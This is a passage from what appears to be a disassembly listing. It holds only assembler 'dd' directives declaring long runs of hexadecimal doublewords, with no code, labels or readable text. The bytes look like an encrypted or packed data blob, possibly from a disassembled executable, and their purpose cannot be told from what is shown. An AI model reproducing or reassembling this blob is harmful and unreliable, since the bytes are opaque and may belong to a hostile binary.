17CCF822h, 0E08292D2h dd 0E2B5316Eh, 3167DD89h, 41FED62Fh, 7EF4DAE9h, 2D594088h dd 0EE46C330h, 54EF1A1h, 3D899508h, 0B925CBBEh, 0BD2C7E40h dd 0F00EBFDh, 0A243A8BFh, 0E78130h, 410B1603h, 1197880Fh dd 0CEE1D5C4h, 81DEF704h, 89C85DD1h, 59865F63h, 6562AD5Fh dd 7AC630D7h, 69BC0117h, 7176E005h, 0AEB06E3Bh, 5A040735h dd 94E92D8Eh, 6270C847h, 613D4612h, 6C457C1Ch, 931A75D8h dd 1C080D1Ch, 8CE91400h, 0C93FC068h, 781F4DB7h, 0E7FEC1ECh dd 0E9C5840Ah, 984E522h, 37EC1C6Fh, 3D204ED4h, 2893B704h dd 26C15BFDh, 88005CA3h, 5AF458E5h, 0BC53523Bh, 7CDEBCEBh dd 5829F74Ah, 55ED6B21h, 0B9513107h, 43CAF801h, 7040090h dd 8939105Fh, 0B33A43BBh, 0C0FCD16Eh, 22718057h, 0D580784Eh dd 67F7CD87h, 608108D9h, 2A323044h, 0C5054577h, 0B333CAE2h dd 0C19383BEh, 6114C79Ch, 6F627056h, 0E42BF1B5h, 93D61908h dd 9DD47E21h, 2ED18A3Ah, 0BD81E746h, 1B324D8Ch, 428C5EACh dd 66035A2Bh, 0E3C39542h, 5AC1B504h, 1A81B220h, 8D1BBBBAh dd 0C8EF7146h, 3C905AA0h, 0D6D1822Fh, 2F556926h, 0A04FA951h dd 0A0B252D8h, 29EA0180h, 0F65AD488h, 43E4E1DCh, 0AF1C90C5h dd 0DD9EEB31h, 48D43949h, 90C23B2Eh, 0AC0E4A4Ah, 0D0BA5F2h dd 75A8B20Bh, 0A39E2184h, 592510FCh, 2D685B04h, 0C631BB57h dd 216B4ED6h, 966EDDDFh, 50BBEE65h, 0C400F265h, 0E9654F3Fh dd 0ADC14B52h, 48CE68D8h, 65C46B78h, 8921ABF8h, 9406E3DFh dd 0C4CFC520h, 26440F0h, 5E281D68h, 7D886205h, 0AED5D693h dd 0E16F50D9h, 0AFDFF556h, 92D86BCFh, 82D5D943h, 719289Dh dd 0D707EAFEh, 0D6E1F8E6h, 163F6EE9h, 97C0AD36h, 76858AB8h dd 0BF9FD43Bh, 5E546C31h, 0F212B688h, 0C6CF5B1Fh, 0C8973C02h dd 2D0D9220h, 25337B32h, 2955C41Eh, 8C58039Ah, 94F1184Ch dd 3FF3E14Fh, 0F9F727C7h, 575CAA82h, 0F483C519h, 0E495369Eh dd 0CEF9DA8h, 762D689Ch, 0D786C2F8h, 0C14AFE5Eh, 315C003Dh dd 1090053Dh, 29730A06h, 20072DD0h, 7196351Dh, 1B3128Fh dd 0E64EB246h, 504DF97Bh, 106BB8E5h, 77146926h, 5FD8F789h dd 2F03FE65h, 0F05BEB67h, 2DB983C6h, 810CE13Eh, 683C0738h dd 5A925FCCh, 0EF5A056Bh, 2869DA41h, 23F830BCh, 0E2449F0Dh dd 7768D509h, 6F1CFC5Ch, 8B10A520h, 0D1245E6Fh, 98089BEEh dd 68D625B8h, 1DAC9316h, 0D668AD4Bh, 0AEC57F00h, 4C72E414h dd 0ED284929h, 92B9108h, 0A0C844B9h, 0D809BD55h, 8B1C2304h dd 0C0465423h, 0DC7A10F1h, 64272B90h, 2E804C5Ch, 0DBA02E2Dh dd 36F3EFB2h, 0F394F589h, 0A7816869h, 3A137F60h, 0C8EC7F82h dd 0E8414198h, 3073C96Ah, 58819EB6h, 72ABED9h, 0D75E967Dh dd 0D80EFD7Ch, 4B1D589h, 40EB0962h, 8095AEC7h, 0F09C10Dh dd 2F4874D0h, 8B74DF08h, 4011E9A0h, 0E22880B4h, 4020C7B5h dd 5B5198B0h, 0BD4242EFh, 45F2549h, 0D9933F4Eh, 6472DF34h dd 80DDA46h, 742131F8h, 74DEE409h, 7C22511Ch, 8B52027Eh dd 7D2D5AFDh, 0C829F5E8h, 5AA6DECBh, 972903Dh, 1DB11A87h dd 0E682FD76h, 8668469Ah, 977B309Eh, 56EEBFD9h, 9F3B42A1h dd 0C0924E5Fh, 0E43058C4h, 5D1C4877h, 0E9D0425Eh, 5556AA33h dd 0C9BF5365h, 10F82B5Ch, 6CFFD3F2h, 2FF4FABh, 6DC6B9F6h dd 3BBAC3E0h, 20439A13h, 0D468D03h, 0CA29D938h, 0DD08D6A0h dd 66C6C7FAh, 0A1F3EFB5h, 5808000Dh, 1C265709h, 3813C45Ah dd 41844EF2h, 0DCFB1266h, 339D58BFh, 0DB06FA82h, 0F898BDD6h dd 0F029FFABh, 4F53B095h, 899299D6h, 0B28AB753h, 0D90B0814h dd 1F265825h, 647C0FF3h, 0ED101F3h, 7B051BD5h, 0BCD4F1E5h dd 10042D42h, 7024062h, 0B1CBF9E9h, 629DB0E6h, 0B7B9B47Eh dd 545CDB49h, 0F78FBF83h, 84AFE938h, 0D5F8552h, 5E25EDE3h dd 0C5EBAAD6h, 0FE292D13h, 1EB2205Dh, 196A293Ah, 4AFA3CE9h dd 18BBC75Fh, 0F1AD895Ah, 0EA0328D2h, 8EF2D45Eh, 89CC4D78h dd 0B155BD4Eh, 0E52480E9h, 58C60629h, 0C077015Dh, 69956813h dd 57526632h, 31400220h, 98A2911h, 393F7607h, 4B54F8AFh dd 3FAB6861h, 0C9058604h, 26C7BB04h, 82B829D7h, 4DF24873h dd 5BE90B40h, 0AC6F168Eh, 9CBEE4A2h, 0AF25E989h, 0C7DB5252h dd 14A23504h, 0EBAB8031h, 674C6288h, 0E9C3040Eh, 5F0BFBA9h dd 7E490C59h, 744D20Ah, 76A4942Eh, 58E44344h, 57270E7h dd 8A0F6563h, 0E973B07Bh, 5DCA0825h, 18950194h, 5F4068B6h dd 2650312Ah, 0C7AF059Dh, 0B181846Eh, 0A2D17F9Bh, 0F4730852h dd 6803573Ch, 741C14D3h, 9FE2E020h, 0A046D910h, 222944BFh dd 0D22F9D5Fh, 0EF907185h, 4460E0EBh, 0FE30EE86h, 0D46808C5h dd 0C5199525h, 5E05E893h, 0B66205B4h, 96BF00F9h, 716D528h dd 60ECFE01h, 807E90E1h, 0F06E5AFh, 0A05F3F89h, 1F3D514Bh dd 3B520C5Bh, 20BF0BFCh, 7782C8BDh, 56714D49h, 0D982A689h dd 4865C962h, 392DBB00h, 25BA35F8h, 18806D48h, 8DD4E9DAh dd 57502F96h, 881E83CEh, 0E4C53E2h, 6C729EFh, 4CD65867h dd 0D0050E4Fh, 319773C4h, 8C65FEC1h, 64DBCA2Ah, 8BBE5AF8h dd 0F0562800h, 8F21AA58h, 0C354042Ch, 0A91B2390h, 0E19C5F3Ch dd 595D4060h, 935ED9A6h, 676170ECh, 6E9120E9h, 56DF29B2h dd 0EA7AC501h, 4B4678D8h, 819BBDF5h, 19394025h, 38999F60h dd 15F0B0Fh, 689AE12Eh, 6960E686h, 3B17CB23h, 23B929A0h dd 4A62592Fh, 0B27477Fh, 6644D3F7h, 39168912h, 7A287204h dd 0B6BB5300h, 6C4C1340h, 0C7432919h, 0A2B49049h, 0D89786B6h dd 18E30C3Fh, 6FC25433h, 0FAC401F2h, 5DEF5DE9h, 0A86B9214h dd 721E92D1h, 1B194E2h, 0F3D71B9h, 15F47F36h, 8ED3B58h dd 0AE8B12FAh, 2D7CBD3Fh, 0F05FC4AAh, 53FE5986h, 0F5D4F85Ah dd 98B522B2h, 0E91252F9h, 8620E240h, 60A565D5h, 91B6DC6Fh dd 0C2976C6Eh, 0E9BD4019h, 829C4D61h, 3D43DA26h, 0D3809B20h dd 0A82F7D96h, 6747C08h, 5952C8E9h, 2A22C705h, 0E592FB57h dd 94C6C155h, 72208C6Fh, 7E273AE3h, 0EDE2E535h, 8EB0B98Bh dd 7112701Ch, 0B784015Fh, 3BCB0813h, 0B023067h, 6662B3D3h dd 20E55AD3h, 1BA03491h, 0DA833606h, 5A666968h, 14BDE3Fh dd 0E9A5F35Ch, 0F63BA0EFh, 0F28C13BFh, 0DD106991h, 1F04BA05h dd 0F2C0DFF7h, 256266E4h, 8EFD4F3Ah, 0A9EA8957h, 8B706ADh dd 0D2870476h, 800984D8h, 68D1F789h, 983B422Dh, 2D7BA162h dd 7C436F12h, 97DFCADAh, 57530261h, 79DEE4E9h, 600ECE81h dd 7A82785Fh, 58009C4h, 3BE90660h, 51B5A2B2h, 6C13A8F6h dd 45683D89h, 23B83Bh dd 381DD2F2h, 24820F58h, 0C225FEDBh, 0B71ECC44h, 22CFB60h dd 508E1561h, 0FE653Eh, 3C8554F9h, 665F0CC1h, 35305A9Bh dd 0D55DC0A4h, 309ABF57h, 86090524h, 6103E502h, 62EE61DDh dd 191373BBh, 9279CC6Bh, 2D7FB141h, 489A41F9h, 0C8EB0559h dd 325B81ADh, 0BDD3F5A3h, 10FE9018h, 0EF4A6FA8h, 3356FD31h dd 765BE00h, 0FC227237h, 0E358FDE1h, 4858046Ah, 3239BBF4h dd 82DCEA20h, 20963140h, 8114DE1Fh, 0CF748202h, 0A6B0757Eh dd 5C2D9D53h, 609109C4h, 0FB850D5h, 71F23E82h, 0CDA72264h dd 969B2040h, 487E5D76h, 0E69B7C2Fh, 2D7DFBAFh, 0CB23B25Fh dd 0ADEEF1FDh, 687A64F1h, 978B8A3h, 0ECE9410Ch, 5C9DF7D8h dd 70BCBF2h, 0BB04C478h, 4CEB35A4h, 16A02483h, 16F3290Dh dd 4A48E81Ch, 8030862Dh, 93A983E2h, 940AAF32h, 0B85520A4h dd 1D9EF29Fh, 5DD32862h, 515A40EBh, 0C9FEC0B1h, 8E70C1FCh dd 0C382A9A3h, 62BF6F61h, 81C18F32h, 24CA680Bh, 0DD8C337Fh dd 0A74EE8ABh, 40FD90E0h, 29255ECEh, 9DFFE6F2h, 0C1B3AFC8h dd 245FBE80h, 9D1D2662h, 3053CB84h, 0F9452B04h, 0E6F60209h dd 0E11C6A70h, 72FA6E85h, 1F18163h, 7FFB7741h, 45078104h dd 22550356h, 5801780Eh, 805BFE88h, 5FF11FEEh, 48705D68h dd 6516C4F0h, 829F34DEh, 5606FB0Ch, 0DB462746h, 0E5145425h dd 0C21A888Dh, 800F029Ch, 16FF8977h, 29E91227h, 0C3394935h dd 0B563E202h, 1340BE03h, 0B8F121C5h, 8550C99Dh, 9DEFF6A7h dd 93CE6D3Bh, 28C0DFE2h, 0C16F9F30h, 306E22Eh, 0E716823Dh dd 0D079E94Dh, 0D2ACBC76h, 6A93D874h, 850976C4h, 0B0D15131h dd 1101BF28h, 0F8F0E872h, 34404CB8h, 52159058h, 0F910A307h dd 443350C8h, 957A06CAh, 4F0808h, 0E93DB753h, 10C2393Eh dd 0F756C7C6h, 6BA7FEB3h, 74E49A7Dh, 221F0531h, 1614A92Ch dd 785259E9h, 99AD33C6h, 82F74BC5h, 0D0E068ADh, 0BD5397A6h dd 3B860580h, 7401452Dh, 6007A2D8h, 82A96EADh, 15F91CD7h dd 0F19DEEE9h, 0A95EF517h, 15EDCBDCh, 0E9AFB0E9h, 0EA9230A9h dd 418703B5h, 0C123D278h, 0C6002BEh, 9E0B12A5h, 0AD02EF1Fh dd 0F16430E9h, 3DC28BCAh, 0CA816280h, 0E5043F36h, 0C0860F37h dd 8BFA5095h, 8C5A1740h, 0F610D6E3h, 30AC07D1h, 0C79253D8h dd 0EBDFFC50h, 0E94257F9h, 2C02D888h, 3264E46h, 45E310ACh dd 0EEFC71EAh, 0C10FEEA1h, 0C831E4E8h, 0DA6C7881h, 3246BD00h dd 97B3BEEh, 26225D4Fh, 1DC3DC66h, 0F2585302h, 2D683AF5h dd 0F5C64B72h, 0AF6112BBh, 76803E81h, 0F9AA9704h, 4835CE51h dd 3275E0ACh, 5C603B59h, 0C448A2Fh, 4DDA07A0h, 0BAB87742h dd 6BBC2FCDh, 0D207B061h, 0EE9E957Eh, 7C8E9DC2h, 745E2DA6h dd 6B4540C9h, 0FF66B5CCh, 674B02F2h, 4F85A8A4h, 29BE6D58h dd 0AA2D00A5h, 0D1200523h, 60E925E0h, 7DACE08Eh, 1955DA1h dd 0A2A587BEh, 0E9DDE43Fh, 6B305125h, 3FDDB90Ch, 8AC2718Ah dd 1713D2h, 1E773326h, 0F82FE94Ch, 3446666h, 57F6211Fh dd 2A00D8F7h, 3D384D56h, 93084A68h, 354801B8h, 7B4B7047h dd 0D3F72581h, 88EB20h, 13F574Dh, 7B50E9F3h, 0D9CF60DEh dd 4ECFCF53h, 25FFF280h, 2A89F451h, 5F404295h, 4EAF83Bh dd 0F752C7DCh, 964B13CCh, 8379D9F1h, 91838AD3h, 4AB102F3h dd 5F550B12h, 3D66217Bh, 0AD6639BBh, 39D83114h, 0B1B5E983h dd 81D0DB1Ch, 0D4A6E2Ch, 1AAFA109h, 0C340FF2Dh, 5102BA52h dd 0E940B678h, 754F8B4h, 0E6FBD2Dh, 0E035A530h, 0F2588739h dd 0A9086999h, 0B60C000Ah, 14660110h, 927DE6E9h, 0DD6856C1h dd 86E36B39h, 0EBA2E909h, 846F0AAh, 0A2BDC703h, 4899F602h dd 0B0D608A3h, 0CB9993BAh, 0CB81123Bh, 7A31C090h, 0BF7806BCh dd 0F02AA315h, 25617097h, 3D4A834Fh, 0C0C94C63h, 0E3599D44h dd 0ED94BBD7h, 39F504EFh, 0B7491F63h, 3B8447A6h, 0D9024E76h dd 0B3352B4Eh, 0D4FB2684h, 5B138871h, 0D3E988A8h, 0BA58FC60h dd 0B8EC52CCh, 0E16520EFh, 3AE58100h, 511D6814h, 46BC09B9h dd 0CD001F59h, 313C22BFh, 0AD64E917h, 896147D9h, 5CB2B868h dd 0EE139DF9h, 0E37F56E1h, 80558B70h, 2A1ABF4Dh, 0C65581Dh dd 8BAEF91Dh, 3D54893Eh, 25E52108h, 697302D4h, 70847F85h dd 5F092Dh, 4A54CBF9h, 4C15B04Bh, 2812D4CEh, 41EAFC29h dd 0EFBD2E08h, 4B6A1741h, 11FFC03Ah, 0A2F9FDE5h, 0C9F9BBF8h dd 78A2310Bh, 2CE553AFh, 3FCAAD26h, 0B70C66ADh, 0CC60583Ah dd 0F19183CEh, 5ABFEE48h, 0B05A53A4h, 79A32F60h, 0E7A2EDEEh dd 0E91732CCh, 45A92CEAh, 0E5B1B013h, 3538F584h, 80603FC1h dd 2D3047EBh, 0DEF2167Fh, 475A0881h, 0DA33D197h, 0D5CDF41Ah dd 0B7600C2Ch, 4967203Bh, 0F7C40929h, 515ACD0h, 0CCAE880Fh dd 96429CB4h, 0C2C64127h, 799930ADh, 0A6D5512h, 840C32F9h dd 0CEE74D38h, 0AF341913h, 0A6216641h, 302CDC24h, 6346974Eh dd 0FEB0B10Dh, 20B4C6E9h, 0B9C83B3Bh, 7242CE5Fh, 40476557h dd 8390B565h, 0CD54DC2Ch, 98C0270Bh, 1F23351Ch, 4B4D8769h dd 0CFF6DD36h, 18BB53C2h, 79BDACA0h, 0A5C549F2h, 6C33630h dd 0B96B1AAFh, 66F70BC7h, 68E92F79h, 0EB803102h, 740808D6h dd 0C9591F93h, 84205D05h, 0C580CDFEh, 0E828431Fh, 83E1F552h dd 1018F73Bh, 32758692h, 0AE0B3810h, 52388D5Eh, 8903AB01h dd 5507EA9Eh, 86A4EB8Bh, 0D92008B5h, 34C320BBh, 28B22331h dd 0A4018B6Dh, 0C2A0016Bh, 99F1188Ch, 0F440A708h, 6370407Fh dd 8285D6Fh, 0A9730C59h, 11626F10h, 7570A08h, 0A820DCDCh dd 6CD17941h, 656F1088h, 897640Ch, 18FD622Ah, 0B2031576h dd 80101866h, 0C4AC08E7h, 37FF18C6h, 0D7C53108h, 11BEF18h dd 1088B517h, 203F6A82h, 0C661318Fh, 1E92E08h, 208CB5F0h dd 0C408B666h, 76CD7041h, 88D03F01h, 898A428h, 15089A1Ah dd 1D6D088Eh, 0CD8FE08h, 0BA08D3E4h, 638E5740h, 0A8892018h dd 0CCE80818h, 80C50618h, 7C811042h, 86BEB188h, 0A7BA408h dd 90D442E1h, 7E751077h, 8674A18h, 28C6D26Ah, 330855A6h dd 0BD182253h, 39EF6131h, 71160FE3h, 0C0AA6F75h, 4928A026h dd 107F8731h, 88C6826h, 2D188612h, 636C9D40h, 0CABF10D9h dd 925B0819h, 18E77D18h, 185F1C08h, 8D6F7A3h, 0B508B718h dd 72D3805Ch, 0E44528C4h, 67C6404h, 20187A13h, 9F625AF3h dd 3760F09h, 0D1209459h, 6BFA32A6h, 90A3F918h, 10107D19h dd 0D010841Eh, 0BB451093h, 71722D19h, 0EE10880Dh, 71741CCDh dd 2675C08h, 682048AEh, 66089278h, 10142995h, 8170F33h dd 2E7131B9h, 8CC7DF39h, 20197B08h, 0EC4D5484h, 6E08C695h dd 0EE4920E1h, 14292490h, 8974388h, 440C2339h, 646010EDh dd 91C80858h, 88482694h, 0CAC4008h, 0B82065EFh, 33286849h dd 244D08F3h, 886CE2F1h, 0D9081AA0h, 77670875h, 0CE33108h dd 0E80869EDh, 653A8240h, 5F1B2038h, 0C06DD5FCh, 27089031h dd 9E208829h, 8F6C08F1h, 0F171C00Ch, 4710C49Fh, 0B3290443h dd 6A8FC04h, 200859DFh, 71207DABh, 2AC1203Ch, 24B4DA20h dd 991C6F16h, 983EB15Fh, 19E96208h, 349A8128h, 0FF40984Ch dd 18916FD8h, 0E108C15h, 354810F2h, 199CDC10h, 17187750h dd 25EFB451h, 1B68A01h, 600062D5h, 0E84CFC9Ch, 790396A4h dd 1E5316EFh, 39C78B36h, 10502E18h, 2C03473Bh, 13EB0275h dd 0B90E1B89h, 5D03DA7h dd 8F004401h, 0C90B4940h, 388BF775h, 9F42474h, 0B9F003DEh dd 0C033E748h, 0B11A0FF0h, 582C304Fh, 76E916B0h, 5CCE4B0h dd 72B0CBEEh, 0F77372B0h, 747D16C2h, 0EBDBC05Eh, 966A180Eh dd 0E0310C75h, 2F3CF637h, 61A4F7F1h, 504FB3C3h, 25A8900Eh dd 72C40184h, 94D22973h, 814E11A8h, 2BD05F18h, 7642E3D0h dd 43245C49h, 7160A325h, 679EEC1h, 81978B1Bh, 5CBCC82Bh dd 3A477C0Bh, 5140028Ah, 2757DB95h, 0AA53D3DEh, 30F8C702h dd 686E92Ah, 5E689EC2h, 806ED173h, 2DCD7C19h, 0F03CE281h dd 4A771453h, 0B7FE078Fh, 0EAD02F26h, 5F78605Bh, 576B511h dd 0A070FC08h, 31E9D729h, 0F6706047h, 3B45DDD4h, 3FF7590Ch dd 47201386h, 1A34E809h, 2C6AD0h, 0CBD15BBDh, 0FBD9F0F8h dd 9B3F34C9h, 0E95606DAh, 7779F90Fh, 99CC30C3h, 0DEED800Eh dd 0B77D52B7h, 3E239D98h, 496DF1BFh, 10779A89h, 0F4CD3127h dd 1453603Bh, 5E98890Fh, 94F159C0h, 0EC0CB252h, 0E90213E2h dd 58A2F034h, 7535EABDh, 0D4018A61h, 4837E9DEh, 0CA86E04Ch dd 6CD70CFEh, 690C1036h, 6F262C13h, 0C1FF9CA0h, 3E95703h dd 31369351h, 2D7D8CE6h, 0CFC6B7E5h, 48D5EA2Dh, 0C715A2AEh dd 0B02C5A0Ch, 0DAF6D086h, 50BE56F8h, 3EA56805h, 0BAD4CCEFh dd 1C476509h, 0DEE0DD7Eh, 5C27E95Ah, 0A8D43421h, 0C005082Ah dd 0DA18EF25h, 0F8970ABDh, 0AE5A97F1h, 3BE105A0h, 2A55EC82h dd 0A1DB187Dh, 196808ECh, 1F160474h, 0BE5E30CEh, 22E85FDDh dd 0E9660C67h, 523CC6BDh, 3547E8A0h, 80D0B481h, 0F6BF1FECh dd 515A09DCh, 5078B0F4h, 0FDEEF568h, 722579CFh, 37E93BF5h dd 0EAC26048h, 45D68515h, 0E968D318h, 0BCD25566h, 0A98E13D8h dd 33049C8h, 0F7EF6373h, 0A4A7F76h, 9F8838ABh, 897AFD41h dd 42342FA6h, 5EE68AAFh, 44FFAB34h, 16625CAFh, 0E75A8EBCh dd 34D7DF48h, 0E5DD0CE8h, 4E001E55h, 0FF899851h, 0D10042B4h dd 0B4CD81E5h, 0A034E212h, 3E67CEF5h, 0F301565Fh, 366A7A50h dd 0EC017A31h, 99D508EDh, 408E0F20h, 749D584Bh, 0D55649F9h dd 9C45649h, 93FC9882h, 796856E2h, 946B0C95h, 2C09E323h dd 0F469EB55h, 4EF63C94h, 582E2601h, 49B020E0h, 0D8539602h dd 0D1DF0170h, 0DABE841Eh, 0B2F0BB7Ah, 0C23B15FAh, 4800CB46h dd 0D570282Dh, 0C6253188h, 1F35DC58h, 0EF6530C0h, 4A3D1BCBh dd 8AC89842h, 982516h, 2D415E03h, 6E194F8Bh, 0DBCA02BDh dd 836EB3D6h, 133EBC5h, 0C628593Dh, 0ECD0EE80h, 0D79C3E25h dd 72F76C4Eh, 13093CCAh, 187D364Eh, 4A277005h, 0C2942921h dd 5D20810h, 1C515E11h, 0A2F0BD17h, 727600ADh, 0BCC5811Dh dd 0CE5A3665h, 29258BB8h, 0E10CBB51h, 164882ACh, 5D38810Fh dd 3505C47Ch, 129BB84Fh, 0AF4EA69Ah, 2DAA53DFh, 0C3BC8B05h dd 0D156F458h, 5A1E3B7Dh, 64FFC316h, 0E928F45Bh, 7E33B334h dd 0DDBFDF53h, 9D607E8Ch, 9951C668h, 0A461A41h, 7F1D1455h dd 8993255Dh, 0BA9351F9h, 0D0213A45h, 15BD2924h, 0B850F513h dd 34D39C89h, 0B83674FAh, 2B68091Ah, 6B6A7910h, 0E906D551h dd 95D64E96h, 0CE510656h, 0B82E133Ah, 0EEC71E7Fh, 77159D9Ah dd 0BD29F0C1h, 8AA706h, 1C6D2DADh, 20587AF7h, 0C119D5B0h dd 70604E7h, 0E8FC1420h, 0E3505A96h, 0FB31D2DBh, 540252CDh dd 1EA56075h, 48652764h, 0FA0960DEh, 7418DD73h, 6FED3668h dd 4CFA908Ch, 55CBBC69h, 7BA1B409h, 0DD32FBBEh, 45FC2E79h dd 0B14DFA97h, 77C1DF8h, 5CFA285Eh, 7EED429Dh, 85556B13h dd 0A61334E9h, 40CFCDABh, 2054D177h, 4493C4Ch, 0EEF8DCCEh dd 680AE5E8h, 815B30D0h, 802845BEh, 15807A22h, 48406510h dd 2A2DD26Ch, 0F9513ADEh, 0BF0677F4h, 2D8D4171h, 0D330884Fh dd 66C140C0h, 0B5A3534Bh, 40886950h, 0BEB04E12h, 0EF3B8501h dd 4E6C111h, 0ECFAD3FDh, 804C2CECh, 3337423Ch, 0D7E43500h dd 89501492h, 0A917FBC5h, 0B96F3518h, 0F3E9A002h, 0F0C5D3CFh dd 1509C4ECh, 0F6593836h, 0D74AC239h, 129BCC7Dh, 0A801273Fh dd 6BB96AAh, 1655F92Fh, 0FFF32825h, 3FD92F22h, 45F0DB46h dd 5F3D636Bh, 6F683598h, 3BEC644Ah, 0AB0C86C4h, 0CA3E3629h dd 7680953h, 0ECCFF14Fh, 481CBD2Eh, 5246D49h, 2FD33985h dd 45B583EFh, 7E5508Fh, 4760CFE9h, 5768669Ah, 6508C740h dd 0F2858D11h, 0C2021DE9h, 53459E54h, 3C683970h, 832A9172h dd 6A01BE66h, 2069BDA1h, 4EC34593h, 0F97C6EEDh, 1083D5F7h dd 57D8FDF5h, 0BD3ABFF1h, 34CF0C1Ah, 0F8D7242Ch, 9DEF7FD1h dd 6EE92481h, 61B29D36h, 7A44AA89h, 5EBF02B0h, 0D68960DCh dd 0FB1FC490h, 244F6CB7h, 6115567Eh, 7146B551h, 212DDB3h dd 0C18E6380h, 66AD2060h, 0A620C946h, 4BB80E3Ch, 25E16D14h dd 0CFE51675h, 8AF89BF9h, 0E35CB629h, 0A3E5D55Ah, 17560733h dd 0BF2A7580h, 3E559428h, 0E98C8E43h, 0C7A14844h, 0FC88ED02h dd 40CC305Bh, 0D654C1B7h, 454600ACh, 0F042217h, 0BB968618h dd 5B026E93h, 42952D01h, 0C00F6AB9h, 0CE5B53C9h, 0B9FB01Fh dd 64BE32B9h, 0DAEBFC68h, 4B946903h, 252349E9h, 0A40B595Bh dd 0ADE690DFh, 7C6082F8h, 0EC2CEE67h, 5B13AFA6h, 5A60E7F0h dd 0C4E0B865h, 658C456Fh, 8B44C850h, 3CCE7749h, 0D03F0926h dd 4D147FA5h, 4B339EB5h, 0A6AB664h, 2C65B368h, 38AE16BCh dd 0A51221B3h, 8B3FF81Ah, 0F6167551h, 70BEDA38h, 0C06F1ABDh dd 814DBA7Ah, 0EF063147h, 4A280C27h, 0CC31847Bh, 0B37E9ECDh dd 0F80E13E0h, 0D7DE6BE9h, 43374057h, 318EB951h, 21454F05h dd 20BA59CBh, 0DDB67FBAh, 5F29FF16h, 0A5EAAB24h, 0FAD005FCh dd 53184ADEh, 5AFA6050h, 890FF226h, 0F93ECA00h, 90EEC177h dd 33F60103h, 0E96BF33Ah, 5F6C3835h, 295D084Bh, 0FF6E7DFDh dd 681C7C25h, 16380F70h, 0B80132F4h, 5B084003h, 979F2B7h dd 3BA4089Dh, 0E9AC1855h, 0E80F4B02h, 823EA16Dh, 2F775D2Dh dd 0E7D6EDC6h, 827BFF50h, 65FDD2C2h, 22B748CDh, 47BB07D9h dd 0E031356Fh, 53D2F7D3h, 928524Fh, 0ADBFC5Ah, 184850Fh dd 0CB4B1D89h, 0DAF0B81h, 229D0CBFh, 0E54E8A1Ah, 614B56FCh dd 9D2D767Ah, 8DC4D0C9h, 0D4B60124h, 40A4307Bh, 14F0BE24h dd 1919803Dh, 0E2F32865h, 48D70CC0h, 0C35EA070h, 7FE74106h dd 426B43A0h, 7135870Fh, 38673FAh, 8B490464h, 0F96EB0EBh dd 162E8619h, 0B45E4B20h, 3E2229B2h, 96BF3088h, 3608F179h dd 646A9126h, 5D49EC09h, 10FC579Ch, 0A6AC9540h, 299E287Eh dd 5AB87026h, 621F810h, 21F63D9Fh, 2A721019h, 32EA0435h dd 88AA14ECh, 440EDC42h, 29E9378Eh, 0F0B67F43h, 0B54A4C6h dd 13E09825h, 0AA7F7C14h, 0D00C42C2h, 3456CF24h, 5F5671C2h dd 0A2E5C985h, 4EAA5669h, 12107298h, 0BC98DCA0h, 0DE29010Ah dd 55D6F75Bh, 8016A670h, 5130DBBh, 0AB1C206Eh, 7CD25943h dd 0E3808C43h, 3F31962Fh, 0E7A7E99Dh, 51E56D5Ch, 8BEA78C1h dd 0D4093003h, 5D7FC868h, 3BE70519h, 0E908388Bh, 5A06744Fh dd 1F7EC329h, 3F0A4DABh, 0FA1E9418h, 1F167ABEh, 0B48A5E90h dd 709BB804h, 136CC1D1h, 0C5212CE4h, 425E86EBh, 4EC63A0Bh dd 5D05F6F9h, 0C3138D1Bh, 95ECA02h, 769D9CE9h, 4C19CC09h dd 0CC5903E3h, 0E70252B5h, 77BCCA29h, 9C355796h, 0D0EFF193h dd 867105B8h, 2BB56450h, 32F66713h, 10F80605h, 8A011FC4h dd 8567B5Eh, 0F3D1F42Ah dd 48347600h, 52730568h, 0C4174EE3h, 0E90703F7h, 0EF00C9C2h dd 94CB51F5h, 0FAEA89F8h, 5C85CFBEh, 1044F7C0h, 9AF86FDEh dd 0F0B82854h, 7A59241Eh, 14442F8Dh, 8DCF8F1h, 4C3A92BCh dd 0F200F1EAh, 0AEE5233h, 5A09D629h, 0D16E5D68h, 64B28093h dd 4B43326Dh, 1DC0199Ch, 90139C2Bh, 0DBCA05ADh, 2A07Eh dd 7C314B89h, 0CC33E909h, 0B6524E78h, 500CC0AAh, 0B151A4B0h dd 0F180F601h, 7E1C01Fh, 39041E6Ah, 4C80893h, 106CFh, 606663F6h dd 340CC117h, 43EAA92Ah, 0BDA8D5h, 8A0F0668h, 37DE5533h dd 885FC65Eh, 70A3FCAFh, 204A5F68h, 74E27037h, 87B7C0C5h dd 8B5581ACh, 46B3D866h, 97FE98E7h, 9AEAD3C8h, 0A3658317h dd 8BDC1FFAh, 1790C86Bh, 9B0F2FFFh, 0A6D10140h, 631AFD30h dd 625D6453h, 725FAA27h, 887134B1h, 0EC92FF20h, 0C5338031h dd 76D012B9h, 67E50977h, 0F601BE27h, 0EC7CBFEDh, 83240F4Fh dd 0E98E8566h, 0E185B84Dh, 0A7561E42h, 391CC79h, 0ED7D8020h dd 6BF5DDF1h, 5F75DA8Ch, 0D460F8C3h, 5006E280h, 695A9959h dd 310A7E8h, 0A7E2981h, 3FA8D623h, 0F3C74163h, 0F089741Fh dd 1885F40Ch, 159000B8h, 3B051D6Ch, 6675A267h, 0C6FAE605h dd 0DC557D4h, 5BC21F24h, 0FC92E6A0h, 0B9546051h, 0A76802C2h dd 536F7B61h, 5744011Fh, 0EA4CCBF8h, 60469F7Dh, 39265B7Ah dd 0A8C23607h, 0B534D5BEh, 1ECDEE34h, 0EC3113BAh, 0ED1C8549h dd 0D70E2BFDh, 2D008F73h, 29B619E5h, 551F0E2h, 9436207h dd 0C401583Ch, 6F7E31F7h, 5FDFBFh, 3755A105h, 0D46B0474h dd 41A4ABC9h, 1B21008Ah, 77C2813Ah, 0C54EE4DEh, 5E73D2ECh dd 0F4DBECCEh, 0CC11F2BAh, 2547BA55h, 0CED8F45Ah, 4A37E93Fh dd 0B42FF529h, 53001199h, 70BF65EBh, 0B58D8186h, 0BB001AF8h dd 2EF106A4h, 486396E9h, 0C0E61A01h, 2E275A3Ch, 4889B855h dd 0C8BB7F3Ch, 92F289D9h, 3CAB2816h, 0B42550C7h, 0B55EB0h dd 0CCFE05E4h, 5109C480h, 7E58E388h, 87782DDCh, 917A22A0h dd 0DAB880h, 355C2259h, 64573453h, 5D7F96C3h, 5142E012h dd 23F70768h, 565931D8h, 840920D1h, 0F76167BBh, 0CD87DD82h dd 129FF409h, 0B448460Dh, 0E8F78476h, 63FF14FBh, 55960E7Bh dd 0E0C1C7B9h, 1F403597h, 4B895374h, 0BBE930C6h, 0E10646A5h dd 5EF33118h, 